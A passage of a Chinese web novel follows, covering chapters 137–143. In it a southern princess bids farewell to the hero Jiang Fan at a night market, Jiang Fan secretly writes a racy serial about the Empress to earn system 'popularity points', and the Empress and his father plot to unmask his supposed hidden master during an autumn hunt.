江凡皱着眉,在她对面坐下,没好气地道:
“公主殿下有何指教?如果是‘追求’之事,昨日已说得很清楚了,何必再来?”
塔娜微微摇头,美眸中闪过一丝黯然,轻声道:
“世子误会了。塔娜今日来,并非要继续纠缠。而是…是来告别的。”
“告别?”江凡一愣,有些意外,“你要回南蛮了?”
这倒是出乎他的意料。
昨天还信誓旦旦要追求,今天就要走?
“嗯。”塔娜点点头,目光望向窗外渐沉的暮色,声音带着一丝飘忽,
“计划赶不上变化!使团在京中事务已了,父王也来信催促,不日便将启程返回南疆。此次一别,山高水长,只怕…再无相见之期了。”
她的语气中,带着伤感。
江凡心中疑窦丛生,警惕地看着她:
“公主…此言何意?昨日还说要留在京城‘培养感情’,今日便要走?这…未免太过儿戏了吧?”
他怀疑这又是塔娜以退为进的把戏。
塔娜转过头,看着他警惕的眼神,自嘲地笑了笑,笑容有些凄然:
“儿戏?或许在世子眼中,塔娜所做的一切,都如同儿戏吧。昨日回驿馆,我想了很多。世子对我,避之唯恐不及,眼中并无半分情意。
强扭的瓜不甜,这个道理,塔娜懂。既然世子心中无我,我再如何努力,也是徒劳,反而惹人生厌。”
她顿了顿,声音更低,
“与其留下彼此难堪,不若…就此别过,保留一份初见时的…美好回忆。”
她这番话,说得情真意切,不似作伪。
江凡看着她眼中那抹哀伤,心中的戒备稍稍放松了一些,但依旧不敢全信。
这女人心思深沉,谁知道是不是又在演戏?
“所以,公主今日前来,就是单纯告别?”
江凡试探着问。
第138章 后来放弃了
“算是吧。”塔娜重新看向他,眼中带着一丝恳求,
“在离开之前,塔娜还有一个不情之请…希望世子能陪我去逛一逛京城的夜市。就当是…满足我最后一个心愿。
从此以后,天各一方,各自安好,我…绝不会再纠缠于你。”
她说着,眼中竟隐隐有泪光闪动。
江凡看着她的样子,心中一时有些不是滋味。
虽说这女人手段百出,惹人头疼,但此刻这番低姿态的告别,倒让他硬不起心肠拒绝。
毕竟,人家一国公主,把话说到这个份上,若再断然拒绝,未免太过不近人情。
况且,只是逛个夜市,众目睽睽之下,她还能玩出什么花样?
若能借此机会彻底了断,倒也省心。
他沉吟片刻,叹了口气:
“罢了。既然公主开口,江某便陪公主走这一趟。只是希望公主…言而有信。”
“多谢世子!”
塔娜破涕为笑,眼中闪过一丝欣喜。
两人一同走出花厅,正好撞见守在门口的江芷兰和周婉如。
江芷兰见弟弟真的要和公主出去,急得直跺脚,一把拉住江凡的袖子,低声道:
“凡儿!你…你怎么又跟她出去?婉如还在这呢!”
江凡无奈地低声道:
“姐,她就是来告别的,逛完夜市就回南蛮了,这是最后一次。我去去就回,你放心。”
说完,给了周婉如一个安抚的眼神,便跟着塔娜出了府门。
周婉如看着两人离去的背影,贝齿轻轻咬着下唇,眼中满是忧虑和一丝酸楚。
华灯初上,京城夜市,人流如织,喧嚣热闹。
塔娜仿佛换了一个人,卸下了公主的端庄与心机,变回了一个活泼烂漫的少女。
她像只快乐的蝴蝶,穿梭在各个摊位之间,对什么都充满好奇。
一会儿要买晶莹剔透的糖人,一会儿又被栩栩如生的面人吸引,看到杂耍表演更是兴奋得拍手叫好。
“世子!你看这个泥人像不像你?”
“世子!我要吃那个冰糖葫芦!”
“世子快看!那边有皮影戏!”
她清脆的笑声在夜空中回荡,引得路人纷纷侧目。
江凡跟在她身后,看着她那发自内心的快乐模样,心中那点警惕和烦躁,不知不觉消散了许多。
或许…这才是她本来的样子?
远离了宫廷的尔虞我诈,卸下了家国的重担,只是一个普通的热爱生活的少女?
他认命地扮演着钱包和跟班的角色,不断掏钱付账,手里很快拎满了大包小包。
看着塔娜那明媚的笑脸,他心中甚至生出几分愧疚。
如果…如果没有那些算计和身份隔阂,或许…他们也能成为朋友?
不知不觉,两人逛到了一座横跨内城河的石拱桥上。
桥下河水潺潺,倒映着两岸璀璨的灯火和天上的星月,波光粼粼。
喧嚣被隔在桥外,此处显得格外宁静。
塔娜趴在冰凉的桥栏上,脸上的笑容渐渐敛去,望着水中破碎的月影,沉默了下来。
晚风吹拂着她的发丝和裙摆,背影显得有几分单薄和萧索。
江凡站在她身后,也没有说话,但能感觉到塔娜有心事。
空气中弥漫着一种莫名的伤感。
良久,塔娜轻轻开口,声音带着一丝飘忽:
“世子,你看这河水,奔流不息,从不因岸边的花草停留。”
她说着,将从路边摘来的一朵不知名的野花,轻轻抛入河中。
花朵在水面上打了几个旋,便随着水流,迅速漂远,消失在下游的黑暗中。
“落花有意,流水无情…说的,便是如此吧?”
江凡心中一动,明白她意有所指。
他走到她身边,看着那奔流的河水,沉声道:
“公主此言差矣。花自飘零水自流,本就不是同路。强行将花掷入水中,它也无法存活,徒增伤感罢了。何必强求?”
塔娜转过头,月光下,她的眸子亮得惊人,带着一种看透世事的沧桑:
“世子说的是。是塔娜执着了。或许…并非流水无情,只是我这朵南疆的花,本就无法在这大夏的河流中扎根绽放。是品种不对,土壤不服,强求不来。”
她的话语中,带着认命般的释然,却又隐含着一丝不甘。
江凡听出了她的弦外之音,心中叹息。
他何尝不知两人身份、立场的天堑?
他深吸一口气,语气缓和了许多:
“公主何必妄自菲薄?世间之花,有百样红,各有各的风姿。南疆的花,自有其热
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烈奔放之美,何必非要在这北地的河中寻找归宿?存在,本身即是道理。”
塔娜怔怔地看着他,眼中情绪复杂难明。
她忽然展颜一笑,那笑容在月光下,美得惊心动魄,
“世子你知道吗?今晚我本来为你安排了一场英雄救美,但后来放弃了。”
“你的诚实给我整不会了。”江凡揉揉鼻子,“那为什么会改变主意?”
塔娜转过头对着江凡眨眨眼睛:
“因为我知道世子并非表面的纨绔,如果刻意的安排,反而会引起世子的反感。”
“你很聪明。”
江凡叹了口气,觉得还是要把话说清楚:“那晚的事情真的只是意外...”
“世子不用解释,”塔娜的语气带着诀别的凄艳:
“谢谢你,谢谢你今晚愿意陪我,也谢谢你这番话。塔娜…明白了。”
两人不再说话,只是静静地并肩站在桥头,看着桥下流水东去,各怀心事。
离开石桥,往回走的路上,经过一个卖女子首饰的小摊。
塔娜停下脚步,目光落在一支样式简单、却雕着一朵栩栩如生梅花的银簪上。
“世子,”她轻声唤道,眼中带着一丝最后的期盼,
“你我相识一场,也算有缘。临别在即,能否…送我一件礼物,留作纪念?就要这支簪子便可。”
江凡看着那支普通的银簪,又看看塔娜那带着恳求的眼神,心中微软。
不过是一件小礼物,若能彻底了结这段孽缘,倒也值得。
他点点头,爽快地付钱买下了簪子。
塔娜接过簪子,在手中摩挲着,眼中泛起泪光。
她将簪子递给江凡,背转身子,轻声道:
“世子…能帮我戴上吗?”
江凡犹豫了一下,看着周围人来人往,觉得有些不妥。
但看到塔娜微微颤抖的肩膀,心中一叹,还是接过了簪子,小心翼翼地、笨拙地帮她插在了发髻上。
就在江凡准备退开的时候,塔娜突然踮起脚尖,快速在江凡脸上亲了一口。
“公主你....”
江凡又惊又怒,竟敢偷袭非礼?
塔娜红着脸退后两步,脸上已重新挂上了笑容。
只是那笑容,怎么看都带着强颜欢笑的意味...
第139章 人气值暴增
塔娜摸了摸发间的银簪,对江凡嫣然一笑:
“很好看,谢谢世子。以后…每当塔娜看到这支簪子,就会想起世子。也希望世子…偶尔能记得,在南疆,有一个叫塔娜的女子,心里…曾真心装过你。”
说完,她不再停留,对着远处等候的南蛮侍卫挥了挥手,快步融入人群,身影很快消失在人流中,再也没有回头。
江凡站在原地,看着她消失的方向,心中五味杂陈。
脸上还有些异样的感觉,提醒着他刚刚不是做梦。
这女人…到底哪句是真,哪句是假?
就这样结束了?
他摇摇头,甩开这些纷乱的思绪。
结束了也好,省得麻烦。
当务之急,是回去更新话本,赚取人气值!
回到镇国公府,免不了又被姐姐一番盘问。
江凡含糊其辞,只说塔娜公主已启程回南蛮,此事已了。
江芷兰和周婉如将信将疑,但见江凡神色疲惫,也不好多问。
江凡一头扎进自己的听雨轩,反锁房门,立刻沉入系统空间。
看着那依旧在不断上涨的人气值,已接近一百一十万,他动力十足!
今晚,要来个更劲爆的!
他酝酿情绪,开始创作《深宫秘恋》的最新章节:
“最新章回:悬崖下的夜晚,女帝以身相暖;狩场生死劫,情愫暗滋生。”
这一次,他直接跳到了‘秋狩’剧情!
书中写道:大乾女帝秋狩途中,果然遭遇靖南王派来的大批高手伏击!
侍卫林枫浴血奋战,拼死护着女帝杀出重围,却被逼至一处绝崖!
为保护女帝,林枫身中数箭,抱着女帝一同跳下悬崖,落入深潭,侥幸未死,却迷失在原始山林中。
夜间,林枫因失血过多和寒气入体,发起了高烧,浑身冰冷,命悬一线!
女帝心急如焚,撕下龙袍为他包扎,却无法驱散他体内的寒意。
眼看林枫气息越来越微弱,女帝想起古籍中所载‘以人体**暖’之法,犹豫再三,最终…
一咬牙,褪下自己湿透的凤袍,又解开林枫的衣衫,将他冰冷的身体紧紧拥入怀中,用自己的体温,为他取暖…
一夜过去,林枫转危为安,醒来发现与女帝‘坦诚相对’,惊骇欲绝!
女帝羞愤交加,却强作镇定,言此为救命之举,让他不得外传!
但两人之间的气氛,已变得无比微妙…
写完提交!
这次竟然生成了五千份,让他更惊喜。
看着系统中人气值瞬间开始飙升,他满意地点点头。
嗯,剧情跌宕起伏,感情突飞猛进,香艳程度更上一层楼!
完美!
他几乎能预见明天女帝看到这话本时,那暴跳如雷、恨不得把逍遥公子揪出来**万段的模样了!
“嘿嘿,对不住了陛下!为了人气值,您就牺牲一下色相吧!反正小说都是虚构的!”
江凡毫无心理负担地想着,甚至已经开始琢磨明天在御书房,该如何帮女帝一起声讨‘无耻’的逍遥公子了。
这戏,可得演好才行!
他心满意足地躺下,带着对明日的美好期待,沉沉睡去。
翌日清晨,天光微亮。
江凡从睡梦中醒来,第一件事便是查看人气值。
【当前人气值:1,480,420】
一百四十八万!
一夜之间,竟然又暴涨了二十多万人气值!
距离他心心念念的两百万大关,仅一步之遥!
照这个速度,或许在秋狩之前,他就能攒够兑换第二张【陆地神仙体验卡】或者【无敌领域】的‘战略储备金’!
安全感瞬间提升了好几个档次!
“发了!这次真的发了!”
江凡兴奋地搓着手,在房间里踱来踱去,
“看来读者们就好这一口!香艳剧情才是第一生产力!以后就得这么写!”
他仿佛已经看到了无数人气值向他涌来的美好前景。
至于女帝的怒火?
嗯…大不了上朝时装得比她更生气!
反正死无对证!
他美滋滋地换上御前侍卫的官袍,意气风发地出门上朝去了,脚步都轻快了许多。
然而,他这好心情,在踏入金銮殿的瞬间,就瞬间熄灭。
大殿之内,气氛凝重得几乎能滴出水来。
龙椅之上的萧璇月,面沉似水,凤眸含霜,周身散发出的凛冽寒意,让整个大殿如同数九寒冬。
下方文武百官,个个噤若寒蝉,连呼吸都小心翼翼。
不少官员的目光,还时不时地、带着
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几分古怪,偷偷瞟向江凡。
女帝和侍卫,这不是现实版本吗?
也不知道陛下和江凡这小子,有没有什么暧昧...
所有看过话本的人,内心的八卦之火都在燃烧。
江凡心里‘咯噔’一下,暗道不妙!
这阵仗…看来女帝是看到昨晚那章‘悬崖下的夜晚’了!
而且火气不是一般的大!
他连忙缩起脖子,眼观鼻,鼻观心,努力将自己伪装成一尊人畜无害的石像。
早朝一开始,便有官员出列,奏请陛下取消两日后的秋狩大典。
理由无非是‘京中不稳’、‘恐有奸人作乱’云云,说得情真意切,忧国忧民。
然而,还没等女帝开口,另一批官员便立刻跳出来反驳,言辞激烈:
“荒谬!秋狩乃祖宗定例,彰显武德,岂可因噎废食?”
“陛下圣明烛照,自有天佑!些许宵小,何足挂齿?若因惧怕而取消大典,岂非示弱于天下,正中靖王下怀?”
“正是!陛下当亲临围场,以振军心,以安民心!让那些居心叵测之辈看看,我大夏天威浩荡!”
两派官员顿时在金銮殿上吵得不可开交,唾沫横飞。
主张取消的,多是真心担忧女帝安危或与靖王有所勾连者;
主张照常进行的,则多是女帝心腹或想借此表忠、甚至可能已被靖王暗中收买、巴不得女帝出宫遇险者!
江凡冷眼旁观,心中冷笑。
这朝堂之上,真是牛鬼蛇神,各怀鬼胎!
端**的萧璇月,面无表情地听着下方的争吵,直到双方声音渐歇,她才缓缓抬起凤眸,声音清冷:
“够了!”
大殿瞬间安静下来。
“秋狩,乃国之大典,岂可轻废?”
萧璇月站起身,龙袍袖摆无风自动,
“朕意已决!两日后,西山围场,秋狩照常举行!兵部、礼部、銮仪卫,依制筹备,不得有误!
另,着镇国公江撼岳、兵部尚书李纲、禁军大统领赵无极…等随驾同行!”
她一口气点了几十名文武重臣的名字,其中既有她的心腹,也有几位态度暧昧、甚至可能偏向靖王的官员!
显然,她是要借此次秋狩,进一步甄别忠奸,甚至…引蛇出洞,一网打尽!
第140章 布局一部分
“臣等遵旨!”
被点名的官员纷纷出列领命,神色各异。
江凡心中凛然,女帝这是要玩一把大的!
将所有不确定因素都置于明面之上!
这份胆魄,令人心悸,也令人担忧。
退朝的钟声响起,江凡硬着头皮,跟着云暮走向御书房。
踏入御书房,那股低气压更加明显!
萧璇月背对着门口,站在窗前,望着宫墙外的天空。
虽未回头,但那紧绷的背影,已足以让人胆寒。
御案之上,赫然摊开着那本还散发着墨香的《深宫秘恋》最新章节!
“参见陛下!”
江凡屏住呼吸,小心翼翼地上前行礼。
萧璇月缓缓转过身,绝美的脸庞上罩着一层寒霜!
她指着御案上的话本,声音愤怒:
“江凡!你看看,这逍遥公子!他…他到底想干什么?是不是换人了?啊?”
江凡一个激灵,拿起话本,飞快地扫了一眼——正是他昨晚‘精心创作’的‘悬崖下的夜晚’一章!
那香艳露骨的描写,连他自己看了都老脸一红!
“咳咳,陛、陛下息怒!”
江凡声音发颤,心中却飞速盘算着对策。
按照昨晚制定的计划,他立刻抬起头,脸上堆出比女帝还要愤怒的表情,捶胸顿足地骂道:
“无耻、下流、卑鄙、龌龊!这…这逍遥公子简直不是人,竟敢…竟敢如此污蔑陛下清誉!将陛下写得…写得如此不堪,其心可诛、罪该万死!
陛下,臣恳请陛下,立刻下令,集结所有供奉高手,就算他是陆地神仙,咱们也要跟他拼个鱼死网破!臣愿为先锋,第一个冲上去**这个老淫棍!”
他演技爆发,说得是声泪俱下,义愤填膺,仿佛逍遥公子与他有杀父之仇、夺妻之恨一般!
他这突如其来的、一百八十度大转弯的态度,直接把萧璇月和一旁的云暮都给整懵了!
萧璇月满腔的怒火,**凡这通‘同仇敌忾’的表演硬生生噎了回去,卡在喉咙里,不上不下,十分难受。
她凤眸中闪过一丝错愕和极大的不适应!
这家伙…昨天还在为逍遥公子辩解,今天怎么突然变得如此激愤?
云暮也是瞪大了美眸,嘴角微微抽搐了一下,眼中闪过一丝极其古怪的神色。
她敏锐地感觉到,江世子…表演成分很明显啊…
萧璇月深吸了好几口气,才皱着眉头,狐疑地打量着江凡:
“你…今日为何如此激动?昨日你不是还说他或许有苦衷?”
江凡心中暗叫不好,演过头了!
连忙痛心疾首地解释道:
“陛下!此一时彼一时也!昨日…昨日那章节虽有不妥,但尚在可接受范围之内!可今日这、这简直是淫词艳曲,不堪入目,难怪早上那些大臣看我的眼神都不对劲!
臣…臣今早一起来,就发现这话本莫名其妙出现在枕边,好奇看了一眼,差点…差点气得吐血三升!这哪里是话本?这分明是对陛下您的亵渎!
是对我大夏皇权的挑衅!臣…臣身为陛下侍卫,岂能容此獠如此嚣张?纵然他是陆、地、神、仙,臣也要与他势不两立!”
他一边说,一边偷偷观察女帝的脸色。
果然,听到江凡说‘话本莫名其妙出现在枕边’,萧璇月眼中的怒火渐渐消散。
是啊…
对方是神出鬼没、修为通天的陆地神仙!
就算自己再生气,又能拿他怎么样?
集结所有高手去围剿?
恐怕人还没找到,皇宫就先被拆了!
除了忍气吞声,还能如何?
她颓然坐回龙椅,揉了揉胀痛的太阳穴,语气中充满了疲惫和认命:
“罢了…罢了…或许…真如云暮所言,这等世外高人,行事乖张,不能以常理度之。他既然喜欢写…就由他写去吧。终究…只是话本而已,当不得真。”
她像是在安慰江凡,更像是在安慰自己。
总不能真因为一本小说,就去跟一个陆地神仙拼命吧?
那才是真的愚蠢!
江凡心中长舒一口气,暗道侥幸!
看来同仇敌忾+突出对**大不可敌的策略奏效了!
他连忙趁热打铁,表忠心道:
“陛下圣明!陛下胸襟广阔,海纳百川,实乃万民之福!不过陛下放心,有臣
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在,定当竭尽全力,护卫陛下周全!绝不让任何宵小之徒,伤及陛下分毫!”
他拍着胸脯保证,眼神真诚得能闪瞎人眼。
萧璇月看着他这副‘忠心耿耿’的模样,心中的气闷倒是消散了不少。
虽然觉得这家伙今天的反应有点夸张,但这份‘维护’之心,倒是真的。
这点比逍遥公子好...
她脸色稍缓,指了指旁边的绣墩:
“好了,坐下说话。”
“谢陛下!”
江凡如蒙大赦,规规矩矩地坐在绣墩上,心里乐开了花。
这关总算混过去了!
萧璇月目光转向云暮,关切地问道:
“云暮,你的伤势如何了?可有大碍?”
那日云暮为护她,被千面一掌重伤,她一直记挂在心。
云暮连忙躬身道:
“谢陛下挂心,奴婢已无大碍,服用了陛下赐下的丹药,已经基本痊愈。”
江凡一见又到了表忠心的好机会,立刻抢着说道:
“陛下放心,有臣在,此次秋狩,臣定当寸步不离,拼死也会护得陛下与云暮姑娘周全!绝不让那日的惊险重演!”
他语气铿锵,目光坚定。
然而,他这话一出,萧璇月不知怎的,脑海中竟不受控制地浮现出话本中‘林枫’拼死护驾、两人‘坦诚相对’的画面,脸颊不由有些发烫。
话本中的女帝与侍卫,让人很容易联想到她和江凡...
她连忙端起茶盏掩饰,轻轻“嗯”了一声,算是回应。
心中却啐了一口:这逍遥公子,真是害人不浅!
连带着看江凡这个侍卫都觉得有些…别扭了!
之前让江凡当侍卫的时候,也没想到话本这一层。
云暮将女帝的细微反应尽收眼底,心中暗叹,陛下这状态…有点不对劲啊!
就在这时,一名小太监急匆匆入内禀报:
“启禀陛下!镇国公江撼岳将军,已押解叛军首领屠燎返回京城,此刻正在宫门外候旨!”
父亲回来了?
江凡心中一动!
在这个节骨眼上回来?
是巧合?
还是女帝布局的一部分?
第141章 越想越心惊
萧璇月闻言,凤眸中精光一闪,立刻道:
“快宣!”
不多时,一身风尘仆仆、甲胄未卸的镇国公江撼岳,大步走入御书房。
他身材魁梧,面容刚毅,虽连日奔波,却依旧精神矍铄,周身带着一股久经沙场的肃杀之气。
他身后,两名御林军押着一个戴着沉重镣铐、浑身伤痕、眼神却依旧凶戾如狼的蛮族大汉,正是叛军首领屠燎!
“老臣江撼岳,参见陛下!万岁万岁万万岁!”
江撼岳声如洪钟,单膝跪地行礼。
“爱卿平身!一路辛苦!”
萧璇月虚扶一下,目光扫过屠燎,冷声道:
“这便是那叛首屠燎?”
“正是此獠!”江撼岳起身,虎目一瞪屠燎,
“陛下,屠燎已押到,听候陛下发落!”
屠燎抬起头,布满血丝的眼睛死死盯住萧璇月,发出桀桀怪笑:
“狗皇帝!要杀要剐,悉听尊便!老子十八年后又是一条好汉!”
“放肆!”江撼岳怒喝一声。
萧璇月却摆了摆手,凤眸中寒光凛冽:
“阶下之囚,也敢狂吠?放心,朕不会让你死得那么容易!两日后西山秋狩,朕要用你的人头,祭奠我大夏阵亡将士的英灵!拖下去!严加看管!”
“是!”
御林军领命,将狂笑不止的屠燎拖了下去。
待屠燎被带走后,萧璇月脸色才缓和下来,对江撼岳温言道:
“镇国公此次平定南疆,生擒元凶,功在社稷,朕心甚慰!待秋狩之后,朕必当**行赏!”
江撼岳抱拳沉声道:
“陛下!老臣为国征战,分所应当,不敢居功!只是…南疆将士们浴血奋战,粮饷却拖欠已久,军心浮动…老臣恳请陛下,早日拨发饷银,以安军心!”
他最挂念的,始终是前线将士的温饱。
之前虽然获得大批钱财粮草,但发放之后,只是补上之前拖欠的。
萧璇月郑重点头:
“爱卿放心!此事朕已责令户部加紧督办!加之近日推广的新式作物长势良好,丰收在望,待粮草充足,定优先供给边军!”
江撼岳闻言,虎目一亮,这才真正松了口气:
“陛下圣明!老臣代边军将士,谢过陛下!”
这时,江撼岳的目光才转向一旁垂手侍立的江凡,虎眉一皱,声如闷雷:
“臭小子!听说陛下开恩,让你当了御前侍卫?你可有尽心当差?有没有偷奸耍滑,给老子丢人现眼?!”
他对这个‘不成器’的儿子,向来是高标准、严要求。
江凡脖子一缩,连忙道:
“爹!孩儿不敢!孩儿每日兢兢业业,恪尽职守,绝不敢有负圣恩!陛下可以作证!”
他赶紧把女帝搬出来当挡箭牌。
萧璇月见状,嘴角弯了一下,接口道:
“镇国公不必苛责。江凡此次…表现尚可,护卫朕左右,也算尽心。”
她难得为江凡说了句好话。
江撼岳这才面色稍缓,哼了一声:
“这还差不多!若是敢懈怠,看老子不打断你的腿!”
江凡暗暗松了口气,还好女帝没拆台。
就在这时,萧璇月忽然对江凡道:
“江凡,朕与镇国公尚有军国要事相商,你且先退下吧。”
江凡:“啥???”
他愣了一下,跟我爹商量事情,居然要我回避?
有没有搞错!
我还是不是您最‘忠心’的侍卫了?
难道…是有什么关于秋狩的绝密计划,连我都不能知道?
他狐疑地看了看女帝,又看了看自家老爹。
江撼岳把眼一瞪:
“陛下让你退下,没听见吗?还不快滚!”
“…臣,遵旨!”
江凡心中郁闷无比,却又不敢违抗,只得躬身行礼,一步三回头地退出了御书房。
拿我当外人了不是?
走到殿外,被冷风一吹,他才回过神来。
罢了罢了!
不让听就不让听!
正好早点下班!
反正天塌下来有高个子顶着!
有老爹和女帝在,自己这个‘小侍卫’操心那么多干嘛?
还是回去想想怎么赚人气值更实在!
他自我安慰着,晃晃悠悠地出宫回府去了。
御书房内,檀香重新燃起。
萧璇月端**,目光直视着下方肃立的镇国公江撼岳,开门见山:
“镇国公,此处已无外人。朕问你,关于江凡…他这一身突如其来的宗师修为,你身为
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父亲,此前当真…毫不知情?”
她的声音平静,却带着威压和探究。
江撼岳虎躯一震,脸上瞬间露出极度复杂的神色。
最后他猛地单膝跪地,声音洪亮却带着一丝沙哑:
“陛下明鉴!老臣、老臣若早有察觉,岂会任由这混小子装了十几年的纨绔,在京城丢人现眼,惹是生非?
老臣也是直到此次南疆之事,才…才惊觉这小子竟藏得如此之深!老臣教子无方,隐瞒不报,请陛下降罪!”
他这番话情真意切,虎目之中甚至隐隐有泪光闪动,显然并非作伪。
一个驰骋沙场、铁骨铮铮的老将,被亲生儿子瞒了十几年,这份冲击和挫败感,可想而知。
萧璇月仔细观察着他的神色,见他反应不似作伪,心中疑窦稍减,但疑惑更甚。
她微微抬手:
“爱卿平身。此事…确实匪夷所思。若非朕亲眼所见,亦难相信。朕并非怪罪于你,只是…此事关乎重大,朕需弄清楚缘由。”
她沉吟片刻,继续问道:
“那你可知,他这一身修为,师从何人?是何时开始修炼?京城之中,何时隐藏了如此高人,能瞒过所有人的耳目,将一介…嗯,将江凡教导至宗师之境?”
她本想说‘纨绔’,话到嘴边又改了口。
江撼岳站起身,眉头紧锁,摇头叹道:
“回陛下,老臣…一无所知!这逆子平日里不是流连勾栏瓦舍,便是与一群狐朋**厮混,从未见他有丝毫勤学苦练之象!更未听闻他拜过什么名师!
老臣也曾多次试探,甚至…甚至气急时动手责罚,他也从未显露半分修为!这份隐忍…这份心机…”
他越说越觉得心惊,背后竟惊出一身冷汗!
自己这个儿子,何时变得如此可怕?
若他心存歹意…后果不堪设想!
萧璇月凤眸微眯,连江撼岳这个亲爹都毫不知情?
这就更奇怪了!
一个宗师高手,绝非凭空冒出来的!
必然有高人传授!
可这位‘高人’,为何要如此隐秘?
为何独独选中了江凡?
又为何要让他伪装成纨绔?
一个让她心跳加速的念头,再次不受控制地浮现出来。
第142章 江凡的婚事
她目光扫过御案一角那本《深宫秘恋》,忽然话锋一转,看似随意地问道:
“镇国公,近日市井流传的这话本,你可曾看过?”
江撼岳一愣,显然没料到女帝会突然问这个,老实答道:
“回陛下,老臣一介武夫,素不喜这些儿女情长的闲书。只是…自从税银案之后,这话本每日都会出现在臣身边,臣每日也会翻看...
似乎随着时间推移,这话本也颇为流行,臣在南疆也常有百姓或者士兵议论...”
萧璇月嘴角勾起一抹弧度:
“是啊,颇为流行。而且…这话本颇为有趣。书中那位‘逍遥公子’,每每能未卜先知,洞悉先机。
更巧的是…朝中但凡与镇国公你,或者与江凡有所矛盾、**过你们的官员,不久后便会在这话本中,变成口诛笔伐的反派角色…
爱卿,你就不觉得…这太过巧合了吗?逍遥公子似乎很维护你们父子!”
她目光灼灼地盯着江撼岳。
江撼岳起初还有些茫然,但听着女帝的描述,虎目渐渐瞪大,脸上露出难以置信的神色!
他猛地回想起来,确实如此!
那个李御史刚**他擅发军饷,当晚话本里就出现了个收**构陷忠良的‘李贪官’!
还有那几个怂恿和亲、针对凡儿的官员,也很快在话本里被骂得狗血淋头!
之前他只当是巧合,或是朝中清流借话本发声,如今被女帝一点破…这巧合,也未免太精准了!
简直像是…有人在替他们父子出头?
“陛、陛下!您的意思是…?”
江撼岳声音都带着一丝颤抖,一个惊人的猜测在他脑海中成型!
萧璇月深吸一口气,美眸中爆发出惊人的光彩,压低了声音,一字一句道:
“朕有一个大胆的猜测!江凡这一身神鬼莫测的修为,以及这话本神出鬼没的更新、精准无比的‘预言’和‘抨击’…其源头,或许…是同一个人!”
“同一个人?!”
江撼岳失声惊呼,心脏狂跳!
“不错!”萧璇月越说越觉得思路清晰,语气带着兴奋,
“试想,若江凡背后,真有一位神秘莫测的师尊!这位师尊,修为通天,智谋超群,行事诡秘,且…暗中关注朝局,屡次相助朕与你们父子!那么,一切就都说得通了!”
她站起身,在御案前踱步,分析道:
“江凡伪装纨绔,或是奉师命暗中蛰伏,或是为了掩饰修炼!而那位师尊,则通过话本这种方式,一方面为江凡铺路造势,另一方面则在暗中布局。
助朕铲除奸佞,对抗靖王!甚至…那夜宫中惊变,那位及时现身、击溃千面的‘逍遥公子’…或许根本就不是什么路见不平的世外高人,而就是…江凡的神秘师尊!”
这个推断,如同惊雷炸响在江撼岳耳边!
他目瞪口呆,半晌说不出话来!
逍遥公子…是凡儿的师尊?
那位疑似陆地神仙的绝世强者?
这、这太震撼了!
但如果真是这样,那所有疑点,的确都能迎刃而解!
为何逍遥公子屡次相助?
因为他在帮自己的徒弟!
为何话本总是针对得罪他们父子的人?
因为师尊在给徒弟出气!
为何昨夜会及时救驾?
因为徒弟在宫中当值,师尊暗中守护!
一切,都联系起来了!
“陛下圣明!老臣…老臣怎么没想到这一层!”
江撼岳激动得虎躯微颤,看向女帝的目光充满了敬佩,
“若真如此…那、那真是天佑我大夏!天佑陛下啊!”
有一位陆地神仙级别的强者在暗中支持,何愁靖王不灭?
何愁国祚不兴?
“朕也是刚刚想通此节。”
萧璇月强压下心中的激动,重新坐下,神色恢复冷静,
“不过,这一切尚是猜测,需小心求证。”
“陛下!那还等什么?老臣这就回府,揪住那臭小子,严加审问!定要问个水落石出!”
江撼岳摩拳擦掌,就要行动。
“不可!”
萧璇月立刻摆手制止,目光深邃,
“镇国公稍安勿躁!江凡心思缜密,既能隐忍十余年,心性绝非寻常。你若贸然相逼,他必有防备,甚至可能惊动其师,反为不妙。此事,需从长计议,切莫打草
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惊蛇!”
江撼岳闻言,冷静下来,连连点头:
“陛下所言极是!是老臣鲁莽了!那…陛下以为,该如何是好?”
萧璇月唇角微勾,露出一丝笑意:
“眼下,便有一个绝佳的试探之机!”
“陛下的意思是…两日后的秋狩?”
江撼岳立刻会意。
“不错!”萧璇月凤眸中闪过一丝睿智的光芒,
“若逍遥公子真是江凡师尊,且如此回护于他,那么…当江凡身处险境,或者说,当朕这个‘徒弟效忠的对象’身处险境时,这位师尊还会袖手旁观吗?”
江撼岳眼睛一亮:
“陛下是说…我们照原计划进行,甚至…可以故意将局面营造得更危险一些?逼那位‘师尊’不得不再次现身?”
“正是此意!”
萧璇月颔首,语气带着一丝决绝,
“此次秋狩,明面上是朕与靖王的博弈,暗地里…亦是朕对江凡背后之人的一次试探!若他现身,则证实了朕的猜测,我大夏得一擎天巨柱!若他不现身的…”
她顿了顿,眼中寒光一闪,
“那便说明,要么朕猜错了,要么…这位‘师尊’并不可靠!朕也需早作打算!”
云暮在一旁听着,心中暗自佩服女帝的谋略,却也生出一丝担忧。
此举,无异于刀尖跳舞,风险极大!
“老臣明白了!”
江撼岳重重点头,虎目中爆发出战意,
“陛下放心!秋狩一切布置,皆按原计划进行!老臣会暗中调整,留出足够的‘破绽’,静待那‘大鱼’上钩,定然护得陛下周全!”
萧璇月满意地点点头:
“有劳爱卿了。具体细节,你我再仔细推敲…”
两人又密议了约莫一炷香的功夫,将秋狩的兵力布置、埋伏地点、信号传递、应急预案等细节逐一敲定,务求天衣无缝,又能恰到好处地引蛇出洞。
商议已毕,江撼岳抱拳准备告退。
萧璇月似乎想起什么,状似无意地又叫住他:
“镇国公,还有一事…关于江凡的婚事。”
江撼岳脚步一顿,转身恭敬道:
“陛下请讲。”
第143章 果然有师尊
“前日朝堂之上,南蛮塔娜公主突然提出,欲与江凡和亲之事,你可知晓?”
萧璇月语气平淡,仿佛在说一件寻常政务。
江撼岳眉头一皱,脸上露出不悦之色:
“此事老臣已有耳闻!简直是胡闹!我江家世代忠良,岂能与外邦蛮夷联姻?何况那南蛮与我大夏关系微妙!
此事断无可能!老臣已严词告诫过那逆子,若他敢有半分念头,老臣打断他的腿!”
他态度坚决,毫不含糊。
萧璇月闻言,心中没来由地一松,嘴角微微上扬,语气也轻快了些:
“爱卿深明大义,朕心甚慰。那…他与周尚书千金周婉如的婚事,你又是如何考量?”
她问得更加‘随意’了。
江撼岳不疑有他,朗声道:
“回陛下,婉如那孩子温婉贤淑,知书达理,周大人又与老臣是故交,这门亲事,是老臣与他甚是满意!只待时机成熟,便为他们完婚,也好了却一桩心事!”
他言语间,对周婉如颇为认可。
萧璇月脸上的笑容微微一僵,随即迅速恢复正常,轻轻‘哦’了一声,淡淡道:
“嗯,周家小姐…确实是个好姑娘。既然如此,朕便不多过问了。爱卿先退下吧,秋狩之事,还需早作准备。”
“老臣告退!”
